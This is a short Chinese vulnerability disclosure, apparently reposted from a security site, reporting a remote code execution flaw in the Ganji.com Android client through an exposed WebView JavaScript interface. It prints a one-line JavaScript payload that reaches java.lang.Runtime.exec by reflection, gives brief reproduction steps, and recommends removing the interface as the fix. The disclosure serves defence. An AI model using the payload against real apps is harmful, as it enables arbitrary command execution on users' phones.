赶集网远程代码执行漏洞(啥都有) - 网站安全 -

赶集网手机客户端,android版

参考:  http://HdhCmsTest2cto测试数据/Article/201309/241271.html 

我的android系统是4.1.2  

function execute(cmdArgs) { return Android.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); }

 

1,进入[通知]界面,随便点击一个链接,再通过里面某一些功能就可以了。

 

2,接口已出。  

 

修复方案：

赶集网大公司不应该有这些低级 漏洞 参见: 

http://HdhCmsTest2cto测试数据/Article/201309/241271.html  

解决方法: http://HdhCmsTest2cto测试数据/Article/201404/296370.html  测试页面:http://drops.wooyun.org/webview.html 调用remove Java scriptInterface方法,删除接口。

查看更多关于赶集网远程代码执行漏洞(啥都有) - 网站安全 -的详细内容...